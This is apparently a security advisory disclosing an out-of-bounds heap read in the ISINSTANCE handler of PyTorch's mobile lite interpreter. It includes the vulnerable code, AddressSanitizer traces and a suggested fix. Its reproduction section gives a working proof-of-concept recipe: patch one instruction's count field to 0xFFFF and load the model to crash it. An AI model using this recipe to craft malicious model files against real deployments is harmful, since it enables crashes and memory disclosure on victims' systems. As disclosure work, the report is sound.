PyTorch Mobile .ptl flatbuffer β OOB read of the Code type table (code.types_) via unchecked ISINSTANCE n operand
Target: PyTorch (pytorch/pytorch) β torch::jit::mobile lite-interpreter / flatbuffer loader
Affected file: torch/csrc/jit/mobile/interpreter.cpp (InterpreterState::run, ISINSTANCE case)
Verified crashing on: PyTorch 2.12.1+cpu (pip release), Linux x86-64, libtorch built with AddressSanitizer
Still unfixed in: 2.14.0a0 source (same code path, see snippet below)
Class: Out-of-bounds (heap) read β SIGSEGV (memory-safety / DoS). Attacker-controlled model file.
Attack surface: loading + first inference of an untrusted .ptl (flatbuffer, identifier PTMF) model.
Summary
The mobile interpreter's ISINSTANCE opcode handler constructs an at::ArrayRef over the
Code object's type table using the instruction's start index X and count N:
// torch/csrc/jit/mobile/interpreter.cpp (InterpreterState::run)
case ISINSTANCE: {
at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);
isinstance(stack, types);
frame.step();
} break;
code.types_.at(inst.X) bounds-checks only the start index X. The count operand N
β the flatbuffer Instruction struct's n : ushort field, fully attacker-controlled, up to
65535 β is never validated against code.types_.size(). The isinstance() helper then
walks N TypePtr entries starting at &code.types_[X], running past the end of the
std::vector, and dereferences the out-of-bounds garbage pointers:
// torch/csrc/jit/mobile/interpreter.cpp
static void isinstance(Stack& stack, at::ArrayRef<at::TypePtr> types) {
at::TypePtr ty = pop(stack).type<c10::DynamicType>();
for (const at::TypePtr& candidate : types) { // iterates N entries, N unchecked
if (ty->isSubtypeOf(*candidate)) { // *candidate = OOB garbage TypePtr
push(stack, true);
return;
}
}
push(stack, false);
}
Because Instruction is a fixed-layout flatbuffer struct, the value is not length-prefixed
or offset-validated, so flatbuffers::VerifyModuleBuffer accepts the tampered module. The crash
occurs at the first inference call.
Why the loop does not short-circuit
If the runtime value being tested is a subtype of the first candidate type, isinstance()
returns early and the OOB entries are never touched. The PoC arranges the opposite: the model's
forward tests a Tensor value against str (types_[0] = str). A Tensor is never a subtype
of str, so the loop cannot short-circuit and is forced to walk all N candidates into
out-of-bounds memory.
Root cause
Missing bounds check on the count operand. Contrast with the start index, which is checked
(.at(inst.X)). A correct fix must additionally require inst.X + inst.N <= code.types_.size()
before building the ArrayRef.
Reproduction
All artifacts are in poc/.
Build a benign flatbuffer
.ptlcontaining anISINSTANCEinstruction (build_isinst2.py): a scripted module whoseforwarddoesy: Any = x; if isinstance(y, str): 1 else 0, saved via_save_for_lite_interpreter(path, _use_flatbuffer=True). This yields a validPTMFflatbuffer with anISINSTANCEinstruction (op byte0x1D,n=1,x=0;x=0βtypes_[0] = str).Patch the count operand. In the raw file, locate the
ISINSTANCEstruct and overwrite itsnfield (ushortat struct offset+2) from1to0xFFFF(65535).xstays0(a valid in-range start index). Result:isinst2_evil.ptl. The unmodified file is kept as the negative controlisinst2_fb.ptl.Load and run (
load_evil.py):m = torch._C._load_for_lite_interpreter("isinst2_evil.ptl", None) # verifier PASSES, loads OK m.forward((torch.ones(2, 2),)) # ISINSTANCE -> OOB read -> SIGSEGVISINSTANCEreads 65535TypePtrs starting at&code.types_[0], running ~512 KB past the 1-element type vector, and dereferences garbage β SIGSEGV.
File list (poc/)
| file | sha256 | role |
|---|---|---|
build_isinst2.py |
cf2634c325e9067362fc36873377da40266d7da5367bed252209cea712d87e4e |
builds benign flatbuffer + locates the ISINSTANCE struct |
isinst2_fb.ptl |
3e54cf96da1da36c3dd36957b930fbfd86e1ab93af48c98faf6338e47f507388 |
negative control (n=1), 1152 bytes |
isinst2_evil.ptl |
8c357a09f5c030379695617dae5f08c163cd04a4f68e9add8e91830db722e82a |
weaponized (n=0xFFFF), 1152 bytes |
load_evil.py |
dcea335e5fd11d0d80b9a71491bc8cb5684a6217e44e451251b32fba87183011 |
loader / trigger |
Captured evidence (verbatim, AddressSanitizer)
Evil file (isinst2_evil.ptl, n=0xFFFF):
--- evil file load: "LOADED OK (verifier passed)" i.e. VerifyModuleBuffer accepts it; crash is at execution ---
==1293677==ERROR: AddressSanitizer: SEGV on unknown address 0x00100000020a (pc 0x7b8d11cd0d80 bp 0x001000000202 sp 0x7fff0effd510 T0)
==1293677==The signal is caused by a READ memory access.
#0 0x7b8d11cd0d80 in c10::DynamicType::create(c10::Type const&) (libtorch_cpu.so+0x1cd0d80)
#1 0x7b8d11cd0f54 in c10::DynamicType::isSubtypeOfExt(c10::Type const&, std::ostream*) const (libtorch_cpu.so+0x1cd0f54)
#2 0x7b8d16082d16 in torch::jit::mobile::InterpreterState::run(std::vector<c10::IValue, std::allocator<c10::IValue> >&) (libtorch_cpu.so+0x6082d16)
#3 0x7b8d16073c5a in torch::jit::mobile::Function::run(...) (libtorch_cpu.so+0x6073c5a)
#4 0x7b8d160871ad in torch::jit::mobile::Method::run(...) const (libtorch_cpu.so+0x60871ad)
Register values: ... r12 = 0x000000000000ffff (== patched N=65535) ...
SUMMARY: AddressSanitizer: SEGV (libtorch_cpu.so+0x1cd0d80) in c10::DynamicType::create(c10::Type const&)
==1293677==ABORTING
The r12 = 0x000000000000ffff register confirms the attacker-controlled patched count N=65535
is the loop bound; the fault PC is inside the isSubtypeOf dereference driven by the OOB
candidate pointer, called from InterpreterState::run (frame #2), exactly the ISINSTANCE
path.
Negative control (isinst2_fb.ptl, unpatched, n=1), identical ASAN environment:
loaded ok ... forward ok: 0 (clean exit, no ASAN report)
The only difference between the two files is the 2-byte n operand, isolating the count-operand
bounds check as the root cause.
Source confirmation on latest (2.14.0a0)
The identical unchecked pattern is present in the current source tree
(version.txt = 2.14.0a0):
torch/csrc/jit/mobile/interpreter.cpp:347
case ISINSTANCE: {
at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);
isinstance(stack, types);
frame.step();
} break;
No validation of inst.N against code.types_.size() exists on either 2.12.1 or 2.14.0a0.
Impact
An attacker who can get a victim to load an untrusted .ptl (mobile flatbuffer) model β a common
distribution format for on-device / lite-interpreter deployments β achieves a deterministic
out-of-bounds heap read and process crash at first inference. The read walks up to ~512 KB of
adjacent heap through attacker-chosen pointer dereferences (isSubtypeOf), which is a
memory-safety violation (potential info-leak primitive / DoS) rather than a mere assertion. The
flatbuffer module verifier does not catch it because the operand lives in a fixed-layout
struct.
Suggested fix
Bounds-check the count operand alongside the start index before constructing the ArrayRef, e.g.:
TORCH_CHECK(
inst.X >= 0 && inst.N >= 0 &&
static_cast<size_t>(inst.X) + static_cast<size_t>(inst.N) <= code.types_.size(),
"ISINSTANCE type range out of bounds");
at::ArrayRef<TypePtr> types(&code.types_.at(inst.X), inst.N);
Dedup / prior-art note
- This is a distinct operand from previously reported mobile-interpreter OOB issues. It is the
ISINSTANCEinstruction'sn(type-count) operand indexingcode.types_, not theOP/CALL/vararg operand families and not aconstants/operatorstable index. - No CVE currently describes an out-of-bounds read of
code.types_via theISINSTANCEcount operand in the mobile flatbuffer interpreter. The public flatbuffer verifier (VerifyModuleBuffer) validates table/vector offsets but not the semantic in-range-ness of fixed-struct instruction operands, so this is not covered by existing verifier hardening.